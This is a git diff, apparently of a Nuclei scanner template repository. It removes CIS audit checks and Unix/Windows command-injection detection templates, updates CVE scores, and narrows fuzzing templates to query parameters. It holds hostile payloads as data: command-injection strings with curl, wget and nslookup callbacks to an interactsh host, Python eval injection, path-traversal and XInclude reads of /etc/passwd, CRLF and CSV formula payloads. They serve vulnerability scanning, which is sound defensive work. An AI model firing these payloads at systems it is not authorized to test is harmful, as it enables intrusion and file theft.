# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
id: prelink-not-installed-check
info:
name: Ensure Prelink is Not Installed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the prelink package is installed.
Prelink modifies binaries to decrease application startup time, but it
interferes with file integrity monitoring and is not recommended on
secure systems.
remediation: |
Remove the prelink package if it is installed:
sudo apt remove prelink -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,prelink,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s prelink &>/dev/null; then
echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
else
echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
id: remote-login-warning-banner-configured-check
info:
name: Ensure Remote Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the remote login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue.net` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue.net >/dev/null 2>&1; then
echo "[remote-login-warning-banner-configured-check:Policy-Fail] [/etc/issue.net contains system information] [CIS_FAIL] [low]"
else
echo "[remote-login-warning-banner-configured-check:Policy-Pass] [/etc/issue.net is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502202065d10bad394d8529bc1b5346c26671b0fbf5b686bf3ce722361eedb25a8f40022100d64ffaa84730831df0d67eae2bbf88173117bbee798d3bb1f93fd64bb278a428:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -11,7 +11,7 @@ info:
metadata:
verified: true
shodan-query: port:53
tags: dns,tcp,axfr,code,vuln
tags: dns,tcp,axfr,code
code:
- engine:
@@ -31,4 +31,4 @@ code:
regex:
- 'SOA\s+([^\s]+)'
group: 1
# digest: 4a0a004730450220729310e32ddaf376e205fe7202c209109d72fc732c11c480c2d0e76fcaa5ad3d022100e3ccab3824ce3028b6de37a92e77fc88aa98d5d8e6ae0ef6d8b061490e6ac218:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
-30
View File
@@ -1529,35 +1529,5 @@
"website": "https://marcialpaulg.com",
"email": "[email protected]"
}
},
{
"author": "zer0p0int",
"links": {
"github": "https://github.com/zer0p0intvvv",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
},
{
"author": "Th3l0newolf",
"links": {
"github": "https://github.com/Th3l0newolf",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
},
{
"author": "sudo-a-man",
"links": {
"github": "https://github.com/sudo-a-man",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
}
]
+39 -369
View File
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1 +1 @@
c340c079583d38dcce4bb33b8be7ff87
f41fb6aca06836485c29dcab0865f337
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 7.5
cve-id: CVE-2018-19518
cwe-id: CWE-88
epss-score: 0.96107
epss-percentile: 0.99876
epss-score: 0.9523
epss-percentile: 0.99855
metadata:
max-request: 1
confidence: tenative
@@ -53,4 +53,4 @@ http:
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 490a0046304402204c6a1f7230137dbca7d453336d6f7b762944f1edff6ef8d3e5e0ccf24563ab0602206de4f1f4ea114e6bf02150d5b0b645c4860dfe7086e05f7bddd4ef6099f16bdb:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2020-9402
cwe-id: CWE-89
epss-score: 0.22513
epss-percentile: 0.97691
epss-percentile: 0.97426
cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
metadata:
vendor: djangoproject
@@ -54,4 +54,4 @@ http:
- "ORA-06512:"
- "Request Method:"
condition: and
# digest: 4a0a00473045022100829d5aa8a6848a348a263f84ec827033d8bd144262a9dd727f517462e5f7088902200d378b0aaa57bd45dda1946c5421a576391fcf7404798508f104e0c2e5811009:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,11 +20,11 @@ info:
cve-id: CVE-2021-35042
cwe-id: CWE-89
epss-score: 0.44369
epss-percentile: 0.98753
epss-percentile: 0.98609
metadata:
verified: true
fofa-query: body="ProgrammingError" && body="ORDER BY"
tags: cve,cve2021,django,sqli,dast,vuln
tags: cve,cve2021,django,sqli,dast
variables:
rand_string: '{{rand_text_alpha(10, "abc")}}'
@@ -66,4 +66,4 @@ http:
- 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
- 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
- "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
# digest: 4a0a00473045022100c14438618fe0bfe8b9c9f6b4989a74edff15562ae91d7ef0bd6a748f3f0dff17022045ff24eb4a506918aadf4d282d2391cab18340a5aa6be207d7d92f80936848ef:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
@@ -66,4 +66,4 @@ http:
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# digest: 4a0a00473045022100afaa866c7f62a5ffce9b7049cf5fa3e7d8e775734bad7542211fb12d61c6c1f40220561a16e5b75fc10da2bb8b3ddbfbe4dcf16a8e1b49640cf3fbf9100f246aa8ee:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2022-22965
cwe-id: CWE-94
epss-score: 0.99638
epss-percentile: 0.99949
epss-score: 0.99677
epss-percentile: 0.99948
cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -59,4 +59,4 @@ http:
words:
- "User-Agent: Java"
case-insensitive: true
# digest: 490a00463044022055a9f46097f397abe531268b18149e76d635e7f72af193ad2925527f5fcce9910220120171533a1b4082d539b3ea366989134dd3afe2a0c9e3ac52e242ca3ae06280:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2022-34265
cwe-id: CWE-89
epss-score: 0.73607
epss-percentile: 0.99465
epss-score: 0.73274
epss-percentile: 0.99392
tags: sqli,dast,vulhub,cve,cve2022,django,vuln
variables:
@@ -50,4 +50,4 @@ http:
- type: status
status:
- 500
# digest: 4b0a00483046022100982e4824d1e3eb419ce25d09c1303fc86b7ea36c5f9961b0cfbfa61635a7895b022100b053c1424f69042d82b91bd92449a278be3f14e14866a62668ca70bc4319c0a7:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2022-42889
cwe-id: CWE-94
epss-score: 0.99931
epss-percentile: 0.9997
epss-percentile: 0.99968
metadata:
max-request: 1
confidence: tenative
@@ -70,4 +70,4 @@ http:
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# digest: 490a0046304402200bc343e45555582db438e4321e4e229cca83cac40704b73194f800b0f7f391b40220337abff5987d9bbf41f030325b1666552cd946ca94e31498ab79fa03bccab83b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220608e0f72009f09b999c75f034bbe885b3694a0c68ba6e0eaead510bf493a9ad3022100daec500dedf90c03341c5b110bbe2c48240c19db066eed1eca976d4bd13b0b47:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -19,7 +19,7 @@ info:
cve-id: CVE-2024-2961
cwe-id: CWE-787
epss-score: 0.8833
epss-percentile: 0.99768
epss-percentile: 0.99752
tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
- type: regex
regex:
- "root:x:0:0"
# digest: 4b0a00483046022100dc393a5f9a76d85825f937a5869f5cd4bfd72878f55484bde22af0ab957a280e02210091278c3438e5d5dbc1b71403b6478733da938aa9268db5660af4f2a6ac024312:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
payload:
- "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
@@ -32,9 +31,7 @@ http:
- "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"
fuzzing:
- parts:
- query
- body
- part: query
type: postfix
fuzz:
- "{{payload}}"
@@ -50,4 +47,4 @@ http:
part: interactsh_protocol
words:
- "http"
# digest: 4b0a00483046022100ffa659b189fa15afd2deb641d4d7b3ad6fc998004693b214687229e64c044014022100a35d3b3c7ca81690c0c05e027ef0b95752a80e42a98e5902bb995e10d39e35b7:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
@@ -36,9 +35,7 @@ http:
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))
fuzzing:
- parts:
- query
- body
- part: query
type: replace
fuzz:
- "{{injection}}"
@@ -49,4 +46,4 @@ http:
part: body
regex:
- 'root:.*:0:0:'
# digest: 4b0a00483046022100cd9bba97f258c066f8503c51a37f32763c0c776da2023179cb9665d4e6c397d3022100b04ff58ead57ba70bb1b64bab48d1a4f591f5515215631baeecbbe96e621cf15:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950
+3 -6
View File
@@ -21,17 +21,14 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
stop-at-first-match: true
payloads:
interaction:
- "|nslookup {{marker}}|curl {{marker}}"
fuzzing:
- parts:
- query
- body
- part: query
fuzz:
- "{{interaction}}"
@@ -40,4 +37,4 @@ http:
part: interactsh_protocol
words:
- "dns"
# digest: 4b0a00483046022100e0426452b9d9cfa0ff0ba648b26c60b3fbcc93a25174f502334d9693ddb5b41b0221008c11d287b5f6fc884922738abbf813b43201b6aede175b32f502fd4d2bd73419:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950
@@ -19,16 +19,13 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
reflection:
- "{{first}}"
fuzzing:
- parts:
- query
- body
- part: query
type: postfix
fuzz:
- "{{reflection}}"
@@ -38,4 +35,4 @@ http:
part: header
regex:
- '(?m)(?i)(^set-cookie.*cookie_injection.*)'
# digest: 4a0a00473045022100fcc832957048d66c083e01674bdb650b1f6aac2fe924de9a40f4175d15e9fcea022003ecffde416eccf471ecabcc2fb366f2280987da6a74bc0b23ef5abdd6829ae9:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
escape:
low:
@@ -63,9 +62,7 @@ http:
- "\r\t"
fuzzing:
- parts:
- query
- body
- part: query
type: postfix
fuzz:
- "{{escape}}Set-Cookie:crlfinjection=crlfinjection"
@@ -76,4 +73,4 @@ http:
part: header
regex:
- '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
# digest: 4b0a00483046022100bca778c35d5fc61dd71c6454594f25f309d049b5681c7bfdcfa41ab4eeed600a022100d2ee23bf8dc026de3b52c0427f4ca3c4ee3ed9ba15cec1f43f81de2833807e3a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
csv_fuzz:
- "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
@@ -29,9 +28,7 @@ http:
- '=IMAGE("https://{{interactsh-url}}/images/srpr/logo3w.png")'
fuzzing:
- parts:
- query
- body
- part: query
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -50,4 +47,4 @@ http:
- "text/csv"
- "application/csv"
- "application/vnd.ms-excel"
# digest: 4a0a00473045022047de9a9ade28a139a37de842b237ae72a42ccfed58a24a2166c1191da3ca847d022100a321d8f99e99bba547fcc6cdb6db36a15392eeceaf24cb7f7a4f72478899ded5:922c64590222798bb761d5b6d8e72950
# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950
@@ -1,81 +0,0 @@
id: unix-command-injection
info:
name: Unix Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential Unix/Linux OS command injection by replacing query parameter values with shell separator payloads and identifying successful command execution through command output patterns or response time delays. Payloads included semicolons, pipes, logical AND operators, backticks, command substitution, and newline injection.
impact: |
Successful exploitation allows arbitrary command execution on the underlying operating system, leading to full server compromise, data exfiltration, lateral movement, and denial of service.
remediation: |
Never pass user-controlled input directly to shell commands. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 15
tags: cmdi,dast,rce,unix,linux,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# shell separators with id
- ";id"
- "|id"
- "&&id"
- "`id`"
- "$(id)"
# file read
- ";cat /etc/passwd"
- "|cat /etc/passwd"
- "$(cat /etc/passwd)"
# newline injection
- "%0aid"
- "%0acat+/etc/passwd"
# time-based
- ";sleep 5"
- "|sleep 5"
- "&&sleep 5"
- "$(sleep 5)"
- "`sleep 5`"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: id-output
part: body
regex:
- 'uid=\d+\([^)]+\)\s+gid=\d+'
- type: regex
name: etc-passwd
part: body
regex:
- 'root:.*:0:0:'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4a0a00473045022100aaf8abfa73f46e605b0bac69b67368f62a6178fc4bb7f5979592dbb8e6edcefc02201ee998c07753af257794d98725fd3fe4fce9f6280770ae5a9bbb52f19fbcc23a:922c64590222798bb761d5b6d8e72950
@@ -1,94 +0,0 @@
id: windows-command-injection
info:
name: Windows Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential OS command injection on Windows targets by replacing query parameter values with command separator payloads and identifying successful command execution through output patterns from `dir`, `whoami`, `systeminfo`, or response time delays induced via `ping`.
impact: |
Successful exploitation allows arbitrary command execution on the underlying Windows system, leading to full server compromise, data exfiltration, privilege escalation, and denial of service.
remediation: |
Never pass user-controlled input directly to cmd.exe or PowerShell. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 14
tags: cmdi,dast,rce,windows,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# dir output
- "|dir"
- "&dir"
- "&&dir"
- "||dir"
- "|dir C:\\"
- "&&dir C:\\"
# identity
- "|whoami"
- "&&whoami"
# system enumeration
- "|systeminfo"
- "&&systeminfo"
- "|ipconfig"
- "&&ipconfig"
# time-based
- "&ping -n 5 127.0.0.1&"
- "&&ping -n 5 127.0.0.1&&"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: dir-output
part: body
regex:
- '(?mi)Directory of [A-Z]:\\\\'
- '(?mi)Volume in drive [A-Z]'
- type: regex
name: systeminfo-output
part: body
regex:
- '(?mi)^OS Name:\s+'
- '(?mi)^Host Name:\s+'
- type: regex
name: ipconfig-output
part: body
regex:
- '(?mi)Windows IP Configuration'
- type: regex
name: whoami-output
part: body
regex:
- '(?mi)^[a-z][-a-z0-9]*\\\\[a-z][-a-z0-9]*$'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4b0a00483046022100be5c540b1ed2ddf5d5cd3c6b4beec3d046833f77b6a37ebf25d26259ddacd9b6022100ad9b2b4618589ef59eae4f0de6793fe8a59b1f67db65cdf31cf2a631465a3d91:922c64590222798bb761d5b6d8e72950
@@ -15,17 +15,14 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
xinc_fuzz:
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'
fuzzing:
- parts:
- query
- body
- part: query
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -45,4 +42,4 @@ http:
part: body
words:
- 'for 16-bit app support'
# digest: 4a0a00473045022061c5b5f12d480ab581420090fe679f16eff360c4d8845959a335ff3bf53df93b022100e4fb9eff907afb896e7ae4d885535da03bae294cc6f4825c39c824fd4bf2e8fe:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950
+4 -9
View File
@@ -25,8 +25,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
pathtraversal:
- '{{fuzz}}etc/passwd'
@@ -56,9 +55,7 @@ http:
- '../../WEB-INF/web.xml'
fuzzing:
- parts:
- query
- body
- part: query
mode: single
keys:
- cat
@@ -94,9 +91,7 @@ http:
fuzz:
- "{{pathtraversal}}"
- parts:
- query
- body
- part: query
mode: single
values:
- "^(./|../|/)|(.html|.htm|.xml|.conf|.cfg|.log|.txt|.pdf|.doc|.docx|.xls|.csv|.png|.jpg|.gif)$"
@@ -125,4 +120,4 @@ http:
part: body
regex:
- '(<system.webServer[\s\S]+<\/system.webServer>)'
# digest: 4a0a00473045022100b917be210562f0d09609a7c90cff98a2e93db64f5c6efae6e3c934d0cd6f611902205d5ac63faddba6eac5cbf4a36887f1727ea7752005af4ea6332e2c61a0fb4f9f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950
+3 -6
View File
@@ -16,8 +16,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
nix_fuzz:
low:
@@ -72,9 +71,7 @@ http:
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
fuzzing:
- parts:
- query
- body
- part: query
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -86,4 +83,4 @@ http:
part: body
regex:
- 'root:.*:0:0:'
# digest: 4a0a0047304502205415e5cbcd5beb10a05da90cc4fe6352df7ef1b866512c8661eae4e3b964b9b90221008bf95c6e0d36601cf6508c54c4750f33d6e1e9e848228b31d64ebc350fac1176:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
win_fuzz:
low:
@@ -60,9 +59,7 @@ http:
- '%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini'
fuzzing:
- parts:
- query
- body
- part: query
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -77,4 +74,4 @@ http:
- "fonts"
- "extensions"
condition: and
# digest: 4b0a0048304602210097c98ed16a07390cbb9ee8d16d7c77a132078dc42da5287f5ddbc33a517ac9e1022100a61552b4945ba285260c57b7f92533334bc51f18527462bc29ae76e8fd2c72ae:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202c7451a1d8e2ce336cd69b4339d8bf006429f0251b6d195fcfeb02472188f3d5022100a1ad317fa882c654e50b3ece6492c6050dad00010369259be8ef2258e4bc4a18:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,7 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
redirect:
- "{{Hostname}}.oast.me"
@@ -37,7 +36,6 @@ http:
- '%5coast.me/%2f%2e%2e'
- '%5c{{RootURL}}oast.me/%2f%2e%2e'
- '../oast.me'
- '/..//oast.me'
- '.oast.me'
- '/%5coast.me'
- '////\;@oast.me'
@@ -125,9 +123,7 @@ http:
- '%00/oast.me/'
fuzzing:
- parts:
- query
- body
- part: query
mode: single
keys:
- AuthState
@@ -269,9 +265,7 @@ http:
fuzz:
- "{{redirect}}"
- parts:
- query
- body
- part: query
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -291,4 +285,4 @@ http:
- 301
- 302
- 307
# digest: 4a0a00473045022003ede4debd8cf83546e8debad1d919bab1d2003890c35b4c61d133e1f1e58871022100aae983ead62d5befcdec4a8788ffe391a5cda4aea6c17a6c603d91127523d12c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950
@@ -13,16 +13,13 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
redirect:
- "oast.me"
fuzzing:
- parts:
- query
- body
- part: query
mode: single
keys:
- AuthState
@@ -164,9 +161,7 @@ http:
fuzz:
- "https://{{redirect}}"
- parts:
- query
- body
- part: query
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -186,4 +181,4 @@ http:
- 301
- 302
- 307
# digest: 490a004630440220099586c444f668b4e6020d6a808c246ee5ac3e294705488d1ba5acdd6508bb10022004dc9a31bd11257b46b2a49fc035d89f22af5f2de3916a2f8e2cff33ed7c16d6:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100a79bb24814ebb6fce46310bc6ca43f0a735205eccf07838a37f372e8956cfdbf022100f2fa25d75d359997833b4406ac5acadce14328707f8b2e1896024e3c7cc7bb2a:922c64590222798bb761d5b6d8e72950
Loaded 100 of 5452 files, more files were not shown because too many files have changed in this diff. Show more